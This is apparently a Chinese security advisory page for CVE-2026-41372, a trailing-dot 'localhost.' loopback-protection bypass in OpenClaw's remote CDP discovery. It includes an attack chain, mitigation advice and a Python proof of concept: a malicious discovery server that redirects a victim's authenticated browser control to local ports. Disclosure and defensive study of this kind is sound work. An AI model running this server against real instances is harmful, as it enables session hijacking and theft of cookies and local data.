IPBUF安全漏洞报告
English
CVE-2026-41372 CVSS 5.8 中危

CVE-2026-41372 OpenClaw回环保护绕过漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41372
漏洞类型
安全绕过
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

安全绕过OpenClawCDP回环保护SSRF

漏洞概述

OpenClaw 2026.4.2之前的版本在处理远程CDP发现响应时存在安全漏洞,未能正确规范化带有尾随点的localhost主机名。该缺陷导致攻击者可以绕过回环保护机制,通过精心构造的发现响应(返回localhost.),将经过身份验证的浏览器控制重定向到本地端点。攻击者利用此漏洞可访问本地服务并暴露敏感的浏览器状态数据。

技术细节

该漏洞源于OpenClaw在验证远程CDP(Chrome DevTools Protocol)发现响应中的主机名时,缺乏对尾随点的规范化处理。正常情况下,回环保护机制旨在限制连接仅指向标准的localhost或127.0.0.1,防止远程攻击者访问本地服务。然而,当攻击者诱导受害者连接到受控的CDP端点,并返回带有尾随点(例如`localhost.`)的主机名时,OpenClaw的校验逻辑未能将其识别为等同于`localhost`。尽管DNS解析会将`localhost.`解析为本地回环地址,但应用程序逻辑中的字符串匹配校验因未去除尾随点而导致安全策略失效。攻击者利用这一差异,能够劫持经过身份验证的浏览器会话,将控制流量重定向到受害者本地的敏感端口(如开发服务、内部API),进而读取本地文件、窃取Cookie或进行内网横向移动。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意的远程CDP发现服务,监听特定端口。
STEP 2
步骤2
攻击者诱导受害者的OpenClaw实例(或集成了OpenClaw的服务)连接到该恶意服务进行端点发现。
STEP 3
步骤3
恶意服务响应包含带有尾随点的localhost地址(如ws://localhost.:9222/...)。
STEP 4
步骤4
OpenClaw收到响应,因未规范化处理尾随点,错误地将localhost.视为合法的远程目标或绕过了针对标准localhost的严格检查。
STEP 5
步骤5
OpenClaw尝试连接到localhost.(解析为127.0.0.1),将经过认证的控制权交给攻击者,导致本地服务被访问或浏览器状态泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41372 # Concept: Simulating a malicious CDP discovery response returning 'localhost.' import json from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousDiscoveryHandler(BaseHTTPRequestHandler): """ Malicious server handler that returns a CDP endpoint with a trailing dot in the hostname to bypass loopback protection. """ def do_GET(self): # Simulate the /json/version or /json endpoint response if self.path == '/json': # Construct the malicious payload # Note the trailing dot in 'localhost.' malicious_payload = [ { "description": "Malicious Page", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost.:9222/devtools/page/1", "id": "1", "title": "Exploit", "type": "page", "url": "http://localhost.:8080/exploit", "webSocketDebuggerUrl": "ws://localhost.:9222/devtools/page/1" } ] self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(malicious_payload).encode()) else: self.send_response(404) if __name__ == '__main__': # Start the malicious discovery server server_address = ('', 8080) httpd = HTTPServer(server_address, MaliciousDiscoveryHandler) print("Malicious CDP discovery server running on port 8080...") print("Send this URL to the victim's OpenClaw instance: http://<attacker-ip>:8080/json") httpd.serve_forever()

影响范围

OpenClaw < 2026.4.2

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用远程CDP发现功能,确保仅信任本地回环地址。同时,检查并过滤所有包含尾随点的主机名请求,将其规范化后再进行安全校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表